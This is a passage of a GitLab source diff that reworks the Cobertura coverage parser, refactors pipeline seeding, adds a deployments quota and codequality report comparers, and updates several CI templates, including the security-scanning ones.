- CoberturaParserError = Class.new(Gitlab::Ci::Parsers::ParserError)
+ InvalidXMLError = Class.new(Gitlab::Ci::Parsers::ParserError)
+ InvalidLineInformationError = Class.new(Gitlab::Ci::Parsers::ParserError)
- def parse!(xml_data, coverage_report)
+ GO_SOURCE_PATTERN = '/usr/local/go/src'
+ MAX_SOURCES = 100
+
+ def parse!(xml_data, coverage_report, project_path: nil, worktree_paths: nil)
root = Hash.from_xml(xml_data)
- parse_all(root, coverage_report)
+ context = {
+ project_path: project_path,
+ paths: worktree_paths&.to_set,
+ sources: []
+ }
+
+ parse_all(root, coverage_report, context)
rescue Nokogiri::XML::SyntaxError
- raise CoberturaParserError, "XML parsing failed"
- rescue
- raise CoberturaParserError, "Cobertura parsing failed"
+ raise InvalidXMLError, "XML parsing failed"
end
private
- def parse_all(root, coverage_report)
+ def parse_all(root, coverage_report, context)
return unless root.present?
root.each do |key, value|
- parse_node(key, value, coverage_report)
+ parse_node(key, value, coverage_report, context)
end
end
- def parse_node(key, value, coverage_report)
- return if key == 'sources'
-
- if key == 'class'
+ def parse_node(key, value, coverage_report, context)
+ if key == 'sources' && value['source'].present?
+ parse_sources(value['source'], context)
+ elsif key == 'package'
Array.wrap(value).each do |item|
- parse_class(item, coverage_report)
+ parse_package(item, coverage_report, context)
+ end
+ elsif key == 'class'
+ # This means the cobertura XML does not have classes within package nodes.
+ # This is possible in some cases like in simple JS project structures
+ # running Jest.
+ Array.wrap(value).each do |item|
+ parse_class(item, coverage_report, context)
end
elsif value.is_a?(Hash)
- parse_all(value, coverage_report)
+ parse_all(value, coverage_report, context)
elsif value.is_a?(Array)
value.each do |item|
- parse_all(item, coverage_report)
+ parse_all(item, coverage_report, context)
end
end
end
- def parse_class(file, coverage_report)
+ def parse_sources(sources, context)
+ return unless context[:project_path] && context[:paths]
+
+ sources = Array.wrap(sources)
+
+ # TODO: Go cobertura has a different format with how their packages
+ # are included in the filename. So we can't rely on the sources.
+ # We'll deal with this later.
+ return if sources.include?(GO_SOURCE_PATTERN)
+
+ sources.each do |source|
+ source = build_source_path(source, context)
+ context[:sources] << source if source.present?
+ end
+ end
+
+ def build_source_path(source, context)
+ # | raw source | extracted |
+ # |-----------------------------|------------|
+ # | /builds/foo/test/SampleLib/ | SampleLib/ |
+ # | /builds/foo/test/something | something |
+ # | /builds/foo/test/ | nil |
+ # | /builds/foo/test | nil |
+ source.split("#{context[:project_path]}/", 2)[1]
+ end
+
+ def parse_package(package, coverage_report, context)
+ classes = package.dig('classes', 'class')
+ return unless classes.present?
+
+ matched_filenames = Array.wrap(classes).map do |item|
+ parse_class(item, coverage_report, context)
+ end
+
+ # Remove these filenames from the paths to avoid conflict
+ # with other packages that may contain the same class filenames
+ remove_matched_filenames(matched_filenames, context)
+ end
+
+ def remove_matched_filenames(filenames, context)
+ return unless context[:paths]
+
+ filenames.each { |f| context[:paths].delete(f) }
+ end
+
+ def parse_class(file, coverage_report, context)
return unless file["filename"].present? && file["lines"].present?
parsed_lines = parse_lines(file["lines"])
+ filename = determine_filename(file["filename"], context)
+
+ coverage_report.add_file(filename, Hash[parsed_lines]) if filename
- coverage_report.add_file(file["filename"], Hash[parsed_lines])
+ filename
end
def parse_lines(lines)
@@ -58,6 +121,27 @@ module Gitlab
# Using `Integer()` here to raise exception on invalid values
[Integer(line["number"]), Integer(line["hits"])]
end
+ rescue
+ raise InvalidLineInformationError, "Line information had invalid values"
+ end
+
+ def determine_filename(filename, context)
+ return filename unless context[:sources].any?
+
+ full_filename = nil
+
+ context[:sources].each_with_index do |source, index|
+ break if index >= MAX_SOURCES
+ break if full_filename = check_source(source, filename, context)
+ end
+
+ full_filename
+ end
+
+ def check_source(source, filename, context)
+ full_path = File.join(source, filename)
+
+ return full_path if context[:paths].include?(full_path)
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines.rb b/lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines.rb
index a864c843dd8..2ca51930c19 100644
--- a/lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines.rb
+++ b/lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines.rb
@@ -35,7 +35,7 @@ module Gitlab
# rubocop: enable CodeReuse/ActiveRecord
def pipelines
- if ::Feature.enabled?(:ci_auto_cancel_all_pipelines, project, default_enabled: false)
+ if ::Feature.enabled?(:ci_auto_cancel_all_pipelines, project, default_enabled: true)
project.all_pipelines.ci_and_parent_sources
else
project.ci_pipelines
diff --git a/lib/gitlab/ci/pipeline/chain/command.rb b/lib/gitlab/ci/pipeline/chain/command.rb
index 06096a33f27..d05be54267c 100644
--- a/lib/gitlab/ci/pipeline/chain/command.rb
+++ b/lib/gitlab/ci/pipeline/chain/command.rb
@@ -12,7 +12,7 @@ module Gitlab
:seeds_block, :variables_attributes, :push_options,
:chat_data, :allow_mirror_update, :bridge, :content, :dry_run,
# These attributes are set by Chains during processing:
- :config_content, :yaml_processor_result, :stage_seeds
+ :config_content, :yaml_processor_result, :pipeline_seed
) do
include Gitlab::Utils::StrongMemoize
diff --git a/lib/gitlab/ci/pipeline/chain/limit/deployments.rb b/lib/gitlab/ci/pipeline/chain/limit/deployments.rb
new file mode 100644
index 00000000000..d684eedcaac
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/chain/limit/deployments.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Chain
+ module Limit
+ class Deployments < Chain::Base
+ extend ::Gitlab::Utils::Override
+ include ::Gitlab::Ci::Pipeline::Chain::Helpers
+
+ attr_reader :limit
+ private :limit
+
+ def initialize(*)
+ super
+
+ @limit = ::Gitlab::Ci::Pipeline::Quota::Deployments
+ .new(project.namespace, pipeline, command)
+ end
+
+ override :perform!
+ def perform!
+ return unless limit.exceeded?
+
+ limit.log_error!(project_id: project.id, plan: project.actual_plan_name)
+ error(limit.message, drop_reason: :deployments_limit_exceeded)
+ end
+
+ override :break?
+ def break?
+ limit.exceeded?
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/chain/populate.rb b/lib/gitlab/ci/pipeline/chain/populate.rb
index f9ae37aa273..654e24be8e1 100644
--- a/lib/gitlab/ci/pipeline/chain/populate.rb
+++ b/lib/gitlab/ci/pipeline/chain/populate.rb
@@ -10,12 +10,12 @@ module Gitlab
PopulateError = Class.new(StandardError)
def perform!
- raise ArgumentError, 'missing stage seeds' unless @command.stage_seeds
+ raise ArgumentError, 'missing pipeline seed' unless @command.pipeline_seed
##
# Populate pipeline with all stages, and stages with builds.
#
- pipeline.stages = @command.stage_seeds.map(&:to_resource)
+ pipeline.stages = @command.pipeline_seed.stages
if stage_names.empty?
return error('No stages / jobs for this pipeline.')
diff --git a/lib/gitlab/ci/pipeline/chain/seed.rb b/lib/gitlab/ci/pipeline/chain/seed.rb
index ba86b08d209..083f0bec1df 100644
--- a/lib/gitlab/ci/pipeline/chain/seed.rb
+++ b/lib/gitlab/ci/pipeline/chain/seed.rb
@@ -29,11 +29,11 @@ module Gitlab
##
# Gather all runtime build/stage errors
#
- if stage_seeds_errors
- return error(stage_seeds_errors.join("\n"), config_error: true)
+ if pipeline_seed.errors
+ return error(pipeline_seed.errors.join("\n"), config_error: true)
end
- @command.stage_seeds = stage_seeds
+ @command.pipeline_seed = pipeline_seed
end
def break?
@@ -42,24 +42,12 @@ module Gitlab
private
- def stage_seeds_errors
- stage_seeds.flat_map(&:errors).compact.presence
- end
-
- def stage_seeds
- strong_memoize(:stage_seeds) do
- seeds = stages_attributes.inject([]) do |previous_stages, attributes|
- seed = Gitlab::Ci::Pipeline::Seed::Stage.new(pipeline, attributes, previous_stages)
- previous_stages + [seed]
- end
-
- seeds.select(&:included?)
+ def pipeline_seed
+ strong_memoize(:pipeline_seed) do
+ stages_attributes = @command.yaml_processor_result.stages_attributes
+ Gitlab::Ci::Pipeline::Seed::Pipeline.new(pipeline, stages_attributes)
end
end
-
- def stages_attributes
- @command.yaml_processor_result.stages_attributes
- end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/quota/deployments.rb b/lib/gitlab/ci/pipeline/quota/deployments.rb
new file mode 100644
index 00000000000..ed32d0d3d49
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/quota/deployments.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Quota
+ class Deployments < ::Gitlab::Ci::Limit
+ include ::Gitlab::Utils::StrongMemoize
+ include ActionView::Helpers::TextHelper
+
+ def initialize(namespace, pipeline, command)
+ @namespace = namespace
+ @pipeline = pipeline
+ @command = command
+ end
+
+ def enabled?
+ limit > 0
+ end
+
+ def exceeded?
+ return false unless enabled?
+
+ pipeline_deployment_count > limit
+ end
+
+ def message
+ return unless exceeded?
+
+ "Pipeline has too many deployments! Requested #{pipeline_deployment_count}, but the limit is #{limit}."
+ end
+
+ private
+
+ def pipeline_deployment_count
+ strong_memoize(:pipeline_deployment_count) do
+ @command.pipeline_seed.deployments_count
+ end
+ end
+
+ def limit
+ strong_memoize(:limit) do
+ @namespace.actual_limits.ci_pipeline_deployments
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 91dbcc616ea..2271915a72b 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -60,6 +60,7 @@ module Gitlab
@seed_attributes
.deep_merge(pipeline_attributes)
.deep_merge(rules_attributes)
+ .deep_merge(allow_failure_criteria_attributes)
.deep_merge(cache_attributes)
end
@@ -154,9 +155,15 @@ module Gitlab
end
def rules_attributes
- return {} unless @using_rules
+ strong_memoize(:rules_attributes) do
+ next {} unless @using_rules
- rules_result.build_attributes
+ if ::Gitlab::Ci::Features.rules_variables_enabled?(@pipeline.project)
+ rules_result.build_attributes(@seed_attributes)
+ else
+ rules_result.build_attributes
+ end
+ end
end
def rules_result
@@ -176,6 +183,17 @@ module Gitlab
@cache.build_attributes
end
end
+
+ # If a job uses `allow_failure:exit_codes` and `rules:allow_failure`
+ # we need to prevent the exit codes from being persisted because they
+ # would break the behavior defined by `rules:allow_failure`.
+ def allow_failure_criteria_attributes
+ return {} unless ::Gitlab::Ci::Features.allow_failure_with_exit_codes_enabled?
+ return {} if rules_attributes[:allow_failure].nil?
+ return {} unless @seed_attributes.dig(:options, :allow_failure_criteria)
+
+ { options: { allow_failure_criteria: nil } }
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/environment.rb b/lib/gitlab/ci/pipeline/seed/environment.rb
index b20dc383419..5dff0788ec9 100644
--- a/lib/gitlab/ci/pipeline/seed/environment.rb
+++ b/lib/gitlab/ci/pipeline/seed/environment.rb
@@ -24,9 +24,7 @@ module Gitlab
end
def auto_stop_in
- if Feature.enabled?(:environment_auto_stop_start_on_create)
- job.environment_auto_stop_in
- end
+ job.environment_auto_stop_in
end
def expanded_environment_name
diff --git a/lib/gitlab/ci/pipeline/seed/pipeline.rb b/lib/gitlab/ci/pipeline/seed/pipeline.rb
new file mode 100644
index 00000000000..da9d853cf68
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/seed/pipeline.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Seed
+ class Pipeline
+ include Gitlab::Utils::StrongMemoize
+
+ def initialize(pipeline, stages_attributes)
+ @pipeline = pipeline
+ @stages_attributes = stages_attributes
+ end
+
+ def errors
+ stage_seeds.flat_map(&:errors).compact.presence
+ end
+
+ def stages
+ stage_seeds.map(&:to_resource)
+ end
+
+ def size
+ stage_seeds.sum(&:size)
+ end
+
+ def deployments_count
+ stage_seeds.sum do |stage_seed|
+ stage_seed.seeds.count do |build_seed|
+ build_seed.attributes[:environment].present?
+ end
+ end
+ end
+
+ private
+
+ def stage_seeds
+ strong_memoize(:stage_seeds) do
+ seeds = @stages_attributes.inject([]) do |previous_stages, attributes|
+ seed = Gitlab::Ci::Pipeline::Seed::Stage.new(@pipeline, attributes, previous_stages)
+ previous_stages + [seed]
+ end
+
+ seeds.select(&:included?)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/accessibility_reports_comparer.rb b/lib/gitlab/ci/reports/accessibility_reports_comparer.rb
index 210eb17f2d3..ab048672b22 100644
--- a/lib/gitlab/ci/reports/accessibility_reports_comparer.rb
+++ b/lib/gitlab/ci/reports/accessibility_reports_comparer.rb
@@ -3,52 +3,43 @@
module Gitlab
module Ci
module Reports
- class AccessibilityReportsComparer
- include Gitlab::Utils::StrongMemoize
-
- STATUS_SUCCESS = 'success'
- STATUS_FAILED = 'failed'
-
- attr_reader :base_reports, :head_reports
-
- def initialize(base_reports, head_reports)
- @base_reports = base_reports || AccessibilityReports.new
- @head_reports = head_reports
+ class AccessibilityReportsComparer < ReportsComparer
+ def initialize(base_report, head_report)
+ @base_report = base_report || AccessibilityReports.new
+ @head_report = head_report
end
- def status
- head_reports.errors_count > 0 ? STATUS_FAILED : STATUS_SUCCESS
+ def success?
+ head_report.errors_count == 0
end
def existing_errors
strong_memoize(:existing_errors) do
- base_reports.all_errors
+ base_report.all_errors & head_report.all_errors
end
end
def new_errors
strong_memoize(:new_errors) do
- head_reports.all_errors - base_reports.all_errors
+ head_report.all_errors - base_report.all_errors
end
end
def resolved_errors
strong_memoize(:resolved_errors) do
- base_reports.all_errors - head_reports.all_errors
+ base_report.all_errors - head_report.all_errors
end
end
- def errors_count
- head_reports.errors_count
- end
-
def resolved_count
resolved_errors.size
end
def total_count
- existing_errors.size + new_errors.size
+ head_report.errors_count
end
+
+ alias_method :errors_count, :total_count
end
end
end
diff --git a/lib/gitlab/ci/reports/codequality_reports.rb b/lib/gitlab/ci/reports/codequality_reports.rb
new file mode 100644
index 00000000000..060a1e2399b
--- /dev/null
+++ b/lib/gitlab/ci/reports/codequality_reports.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ class CodequalityReports
+ attr_reader :degradations, :error_message
+
+ CODECLIMATE_SCHEMA_PATH = Rails.root.join('app', 'validators', 'json_schemas', 'codeclimate.json').to_s
+
+ def initialize
+ @degradations = {}.with_indifferent_access
+ @error_message = nil
+ end
+
+ def add_degradation(degradation)
+ valid_degradation?(degradation) && @degradations[degradation.dig('fingerprint')] = degradation
+ end
+
+ def set_error_message(error)
+ @error_message = error
+ end
+
+ def degradations_count
+ @degradations.size
+ end
+
+ def all_degradations
+ @degradations.values
+ end
+
+ private
+
+ def valid_degradation?(degradation)
+ JSON::Validator.validate!(CODECLIMATE_SCHEMA_PATH, degradation)
+ rescue JSON::Schema::ValidationError => e
+ set_error_message("Invalid degradation format: #{e.message}")
+ false
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/codequality_reports_comparer.rb b/lib/gitlab/ci/reports/codequality_reports_comparer.rb
new file mode 100644
index 00000000000..88e02cd9004
--- /dev/null
+++ b/lib/gitlab/ci/reports/codequality_reports_comparer.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ class CodequalityReportsComparer < ReportsComparer
+ def initialize(base_report, head_report)
+ @base_report = base_report || CodequalityReports.new
+ @head_report = head_report
+ end
+
+ def success?
+ head_report.degradations_count == 0
+ end
+
+ def existing_errors
+ strong_memoize(:existing_errors) do
+ base_report.all_degradations & head_report.all_degradations
+ end
+ end
+
+ def new_errors
+ strong_memoize(:new_errors) do
+ fingerprints = head_report.degradations.keys - base_report.degradations.keys
+ head_report.degradations.fetch_values(*fingerprints)
+ end
+ end
+
+ def resolved_errors
+ strong_memoize(:resolved_errors) do
+ fingerprints = base_report.degradations.keys - head_report.degradations.keys
+ base_report.degradations.fetch_values(*fingerprints)
+ end
+ end
+
+ def resolved_count
+ resolved_errors.size
+ end
+
+ def total_count
+ head_report.degradations_count
+ end
+
+ alias_method :errors_count, :total_count
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/reports_comparer.rb b/lib/gitlab/ci/reports/reports_comparer.rb
new file mode 100644
index 00000000000..d413d3a74f6
--- /dev/null
+++ b/lib/gitlab/ci/reports/reports_comparer.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ class ReportsComparer
+ include Gitlab::Utils::StrongMemoize
+
+ STATUS_SUCCESS = 'success'
+ STATUS_FAILED = 'failed'
+
+ attr_reader :base_report, :head_report
+
+ def initialize(base_report, head_report)
+ @base_report = base_report
+ @head_report = head_report
+ end
+
+ def status
+ success? ? STATUS_SUCCESS : STATUS_FAILED
+ end
+
+ def success?
+ raise NotImplementedError
+ end
+
+ def existing_errors
+ raise NotImplementedError
+ end
+
+ def new_errors
+ raise NotImplementedError
+ end
+
+ def resolved_errors
+ raise NotImplementedError
+ end
+
+ def errors_count
+ raise NotImplementedError
+ end
+
+ def resolved_count
+ resolved_errors.size
+ end
+
+ def total_count
+ existing_errors.size + new_errors.size
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
index fe23641802b..2ae9730ec1a 100644
--- a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
@@ -7,7 +7,7 @@ code_quality:
variables:
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
- CODE_QUALITY_IMAGE: "registry.gitlab.com/gitlab-org/ci-cd/codequality:0.85.18"
+ CODE_QUALITY_IMAGE: "registry.gitlab.com/gitlab-org/ci-cd/codequality:0.85.18-gitlab.1"
needs: []
script:
- export SOURCE_CODE=$PWD
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
index 385959389de..e5b40e5f49a 100644
--- a/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
@@ -1,5 +1,5 @@
.auto-deploy:
- image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.0.0-beta.2"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v2.0.0"
dependencies: []
review:
diff --git a/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml
index 3b87d53f165..895e6e8ea6d 100644
--- a/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml
@@ -2,6 +2,8 @@ test:
variables:
POSTGRES_VERSION: 9.6.16
POSTGRES_DB: test
+ POSTGRES_USER: user
+ POSTGRES_PASSWORD: testing-password
services:
- "postgres:${POSTGRES_VERSION}"
stage: test
diff --git a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
index 3f62d92ad13..23dfeda31cc 100644
--- a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
@@ -1,6 +1,6 @@
apply:
stage: deploy
- image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.34.1"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.36.0"
environment:
name: production
variables:
diff --git a/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml b/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
index 65abee1f5eb..3faf07546de 100644
--- a/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
@@ -1,4 +1,4 @@
-image: ayufan/openshift-cli
+image: openshift/origin-cli
stages:
- build # dummy stage to follow the template guidelines
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
index 0ae8fd833c4..135f0df99fe 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
@@ -15,7 +15,8 @@ variables:
FUZZAPI_VERSION: latest
FUZZAPI_CONFIG: .gitlab-api-fuzzing.yml
FUZZAPI_TIMEOUT: 30
- FUZZAPI_REPORT: gl-api-fuzzing-report.xml
+ FUZZAPI_REPORT: gl-api-fuzzing-report.json
+ FUZZAPI_REPORT_ASSET_PATH: assets
#
FUZZAPI_D_NETWORK: testing-net
#
@@ -45,6 +46,7 @@ apifuzzer_fuzz:
variables:
FUZZAPI_PROJECT: $CI_PROJECT_PATH
FUZZAPI_API: http://apifuzzer:80
+ FUZZAPI_NEW_REPORT: 1
TZ: America/Los_Angeles
services:
- name: $FUZZAPI_IMAGE
@@ -61,7 +63,7 @@ apifuzzer_fuzz:
- if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
$CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
when: never
- - if: $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
+ - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
script:
#
# Validate options
@@ -75,6 +77,9 @@ apifuzzer_fuzz:
# Run user provided pre-script
- sh -c "$FUZZAPI_PRE_SCRIPT"
#
+ # Make sure asset path exists
+ - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
+ #
# Start scanning
- worker-entry
#
@@ -82,8 +87,12 @@ apifuzzer_fuzz:
- sh -c "$FUZZAPI_POST_SCRIPT"
#
artifacts:
+ when: always
+ paths:
+ - $FUZZAPI_REPORT_ASSET_PATH
+ - $FUZZAPI_REPORT
reports:
- junit: $FUZZAPI_REPORT
+ api_fuzzing: $FUZZAPI_REPORT
apifuzzer_fuzz_dnd:
stage: fuzz
@@ -102,7 +111,7 @@ apifuzzer_fuzz_dnd:
- if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
$CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
when: never
- - if: $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
+ - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
services:
- docker:19.03.12-dind
script:
@@ -115,6 +124,9 @@ apifuzzer_fuzz_dnd:
# Run user provided pre-script
- sh -c "$FUZZAPI_PRE_SCRIPT"
#
+ # Make sure asset path exists
+ - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
+ #
# Start peach testing engine container
- |
docker run -d \
@@ -155,6 +167,8 @@ apifuzzer_fuzz_dnd:
-e FUZZAPI_PROFILE \
-e FUZZAPI_CONFIG \
-e FUZZAPI_REPORT \
+ -e FUZZAPI_REPORT_ASSET_PATH \
+ -e FUZZAPI_NEW_REPORT=1 \
-e FUZZAPI_HAR \
-e FUZZAPI_OPENAPI \
-e FUZZAPI_POSTMAN_COLLECTION \
@@ -168,6 +182,8 @@ apifuzzer_fuzz_dnd:
-e FUZZAPI_SERVICE_START_TIMEOUT \
-e FUZZAPI_HTTP_USERNAME \
-e FUZZAPI_HTTP_PASSWORD \
+ -e CI_PROJECT_URL \
+ -e CI_JOB_ID \
-e CI_COMMIT_BRANCH=${CI_COMMIT_BRANCH} \
$FUZZAPI_D_WORKER_ENV \
$FUZZAPI_D_WORKER_PORTS \
@@ -193,6 +209,8 @@ apifuzzer_fuzz_dnd:
-e FUZZAPI_PROFILE \
-e FUZZAPI_CONFIG \
-e FUZZAPI_REPORT \
+ -e FUZZAPI_REPORT_ASSET_PATH \
+ -e FUZZAPI_NEW_REPORT=1 \
-e FUZZAPI_HAR \
-e FUZZAPI_OPENAPI \
-e FUZZAPI_POSTMAN_COLLECTION \
@@ -206,7 +224,10 @@ apifuzzer_fuzz_dnd:
-e FUZZAPI_SERVICE_START_TIMEOUT \
-e FUZZAPI_HTTP_USERNAME \
-e FUZZAPI_HTTP_PASSWORD \
+ -e CI_PROJECT_URL \
+ -e CI_JOB_ID \
-v $CI_PROJECT_DIR:/app \
+ -v `pwd`/$FUZZAPI_REPORT_ASSET_PATH:/app/$FUZZAPI_REPORT_ASSET_PATH:rw \
-p 81:80 \
-p 8001:8000 \
-p 515:514 \
@@ -239,7 +260,9 @@ apifuzzer_fuzz_dnd:
paths:
- ./gl-api_fuzzing*.log
- ./gl-api_fuzzing*.zip
+ - $FUZZAPI_REPORT_ASSET_PATH
+ - $FUZZAPI_REPORT
reports:
- junit: $FUZZAPI_REPORT
+ api_fuzzing: $FUZZAPI_REPORT
# end
diff --git a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
index 3cbde9d30c8..5ea2363a0c5 100644
--- a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
@@ -8,7 +8,7 @@ variables:
container_scanning:
stage: test
- image: $SECURE_ANALYZERS_PREFIX/klar:$CS_MAJOR_VERSION
+ image: "$CS_ANALYZER_IMAGE"
variables:
# By default, use the latest clair vulnerabilities database, however, allow it to be overridden here with a specific image
# to enable container scanning to run offline, or to provide a consistent list of vulnerabilities for integration testing purposes
@@ -18,6 +18,7 @@ container_scanning:
# file. See https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#overriding-the-container-scanning-template
# for details
GIT_STRATEGY: none
+ CS_ANALYZER_IMAGE: $SECURE_ANALYZERS_PREFIX/klar:$CS_MAJOR_VERSION
allow_failure: true
services:
- name: $CLAIR_DB_IMAGE
diff --git a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
index a1b6dc2cc1b..9d47537c0f0 100644
--- a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
@@ -12,7 +12,7 @@ variables:
coverage_fuzzing_unlicensed:
- stage: test
+ stage: .pre
allow_failure: true
rules:
- if: $GITLAB_FEATURES !~ /\bcoverage_fuzzing\b/ && $COVFUZZ_DISABLED == null
diff --git a/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
new file mode 100644
index 00000000000..a0564a16c07
--- /dev/null
+++ b/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
@@ -0,0 +1,24 @@
+stages:
+ - build
+ - test
+ - deploy
+ - dast
+
+variables:
+ DAST_VERSION: 1
+ # Setting this variable will affect all Security templates
+ # (SAST, Dependency Scanning, ...)
+ SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
+
+dast:
+ stage: dast
+ image:
+ name: "$SECURE_ANALYZERS_PREFIX/dast:$DAST_VERSION"
+ variables:
+ GIT_STRATEGY: none
+ allow_failure: true
+ script:
+ - /analyze
+ artifacts:
+ reports:
+ dast: gl-dast-report.json
diff --git a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
index 3789f0edc1c..b534dad9593 100644
--- a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
@@ -28,11 +28,8 @@ dependency_scanning:
.ds-analyzer:
extends: dependency_scanning
allow_failure: true
- rules:
- - if: $DEPENDENCY_SCANNING_DISABLED
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bdependency_scanning\b/
+ # `rules` must be overridden explicitly by each child job
+ # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
script:
- /analyzer run
diff --git a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
index a51cb61da6d..f4ee8ebd47e 100644
--- a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
@@ -30,10 +30,8 @@ sast:
.sast-analyzer:
extends: sast
allow_failure: true
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $CI_COMMIT_BRANCH
+ # `rules` must be overridden explicitly by each child job
+ # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
script:
- /analyzer run
@@ -175,7 +173,7 @@ nodejs-scan-sast:
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /nodejs-scan/
exists:
- - 'package.json'
+ - '**/package.json'
phpcs-security-audit-sast:
extends: .sast-analyzer
diff --git a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
index 6ebff102ccb..8ca1d2e08ba 100644
--- a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
